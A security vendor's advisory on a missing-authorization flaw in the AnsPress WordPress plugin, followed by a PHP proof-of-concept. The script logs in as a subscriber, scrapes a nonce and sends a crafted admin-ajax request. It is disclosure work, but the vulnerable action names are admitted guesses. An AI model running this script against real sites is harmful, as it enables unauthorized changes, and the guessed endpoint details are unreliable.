Atomic Edge analysis of CVE-2026-65554 (metadata-based):
The AnsPress – Question and answer plugin for WordPress versions up to 4.4.4 contains a missing authorization vulnerability. The issue affects an undisclosed function that executes an unauthorized action. An authenticated attacker with subscriber-level access or higher can trigger this function without proper capability checks. CVE-2026-65554 has a CVSS score of 4.3 (medium severity) with a vector of AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N, indicating low integrity impact with no confidentiality or availability impact.
Root Cause:
The core problem is a missing capability check (CWE-862) on a specific function. In WordPress plugin development, any function that performs state-changing or data-modifying operations (such as AJAX handlers, admin-post actions, or REST API callbacks) must verify that the current user has the required permission. Without a capability check, the function executes regardless of user role, allowing any authenticated user to call it. This conclusion is inferred from the CWE classification and vulnerability description. No source code diff is available, so the exact function name and endpoint cannot be confirmed. However, based on the plugin’s architecture and the ‘Missing Authorization’ CWE, Atomic Edge research infers that the vulnerable function likely handles an AJAX or admin-post action with a nonce that may be missing or accepted without verifying a capability.
Exploitation:
To exploit this vulnerability, an attacker who has a valid WordPress account with subscriber-level privileges sends a crafted request to the affected endpoint. The likely attack vector is an admin-ajax.php request with an action parameter corresponding to the insecure handler. The attacker would include the necessary nonce if the plugin validates it, but the missing capability check means no administrative or elevated capability is verified. A realistic payload would target an action such as anspress_dismiss_notice or anspress_update_user_meta, which could alter plugin options, reset user preferences, or perform other low-integrity actions. The attacker uses a standard HTTP request with cookies or a nonce obtained from their subscriber account. The request reaches the vulnerable callback, which executes the action without verifying the user’s role or capability.
Remediation:
The fix for this vulnerability requires adding a capability check to the vulnerable function. In WordPress, the developer should use current_user_can() to verify the required capability before executing any sensitive operation. For AJAX handlers, the check should be implemented before processing the request. For admin-post or REST endpoints, appropriate permission_callback or capability checks must be added. The fix should also ensure that nonces are validated where applicable. The patched version should include these checks, and plugin users should update to a version that includes the fix. Since no patched version is available, site administrators should monitor the plugin vendor for updates and consider temporarily disabling the affected functionality if possible.
Impact:
Successful exploitation of CVE-2026-65554 allows an authenticated attacker with subscriber-level access to perform unauthorized actions. The impact is limited to low integrity, meaning the attacker can modify certain data or settings within the plugin, but cannot directly access sensitive information or escalate privileges. The exact scope depends on the vulnerable function’s purpose. If the function modifies plugin options, the attacker could change default settings or reset user data. The vulnerability does not appear to allow full data exfiltration or remote code execution based on the CVSS vector, which shows no confidentiality or availability impact. However, because the affected function is not publicly documented, Atomic Edge analysis recommends treating this as a potentially broader risk until the vendor provides a patch and details.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65554 - AnsPress – Question and answer 4.4.4 - Missing Authorization
// This PoC demonstrates an authenticated attacker with subscriber role
// triggering a vulnerable AJAX action in the AnsPress plugin.
// Assumption: the vulnerable function is an AJAX handler registered via wp_ajax_ hooks.
// The exact action name is inferred from the plugin slug and common patterns.
$target_url = 'https://example.com'; // Change to the WordPress site URL
// Credentials for a subscriber-level account
$username = 'subscriber_user';
$password = 'subscriber_pass';
// cURL session
$ch = curl_init();
// Set common options
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt', // Store session cookies
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
]);
// Step 1: Authenticate via wp-login.php (basic auth)
$login_data = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);
// Check if login succeeded (look for dashboard URL in redirect)
$login_success = (strpos($response, 'wp-admin') !== false || curl_getinfo($ch, CURLINFO_RESPONSE_CODE) == 302);
if (!$login_success) {
echo "Login failed. Check credentials.n";
exit(1);
}
// Step 2: Fetch a valid nonce from the page (if needed)
// Many AJAX actions require a nonce. Here we assume a nonce is available on user profile page.
// Since the exact nonce field is unknown, we try to extract a generic nonce pattern.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/profile.php');
curl_setopt($ch, CURLOPT_POST, false);
$profile_page = curl_exec($ch);
$nonce = '';
// Try to extract nonce from common patterns (e.g., name="_wpnonce" value="...")
if (preg_match('/name="_wpnonce" value="([^"]+)"/', $profile_page, $matches)) {
$nonce = $matches[1];
} elseif (preg_match('/name="_ajax_nonce" value="([^"]+)"/', $profile_page, $matches)) {
$nonce = $matches[1];
}
// Step 3: Send malicious AJAX request
// Inferred action name: anspress_dismiss_notice (common in popular plugins for dismissible notices)
// Payload intentionally includes parameters that would perform an unauthorized action
$ajax_action = 'anspress_dismiss_notice'; // Adjust based on actual vulnerable action if known
$post_data = [
'action' => $ajax_action,
// A user ID to impersonate or a notice ID to dismiss
// The attacker can only use their own user ID, but lack of capability check allows
// sending arbitrary values if the function trusts them.
'user_id' => '1', // Example: attempt to modify admin user notice state
'notice_id' => 'any_notice_id',
// Include nonce if required by the function
'_wpnonce' => $nonce
];
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$result = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_RESPONSE_CODE);
// Output result
if ($http_code == 200) {
echo "Request sent. Response: " . $result . "n";
} else {
echo "HTTP error code: " . $http_code . "n";
}
curl_close($ch);
?>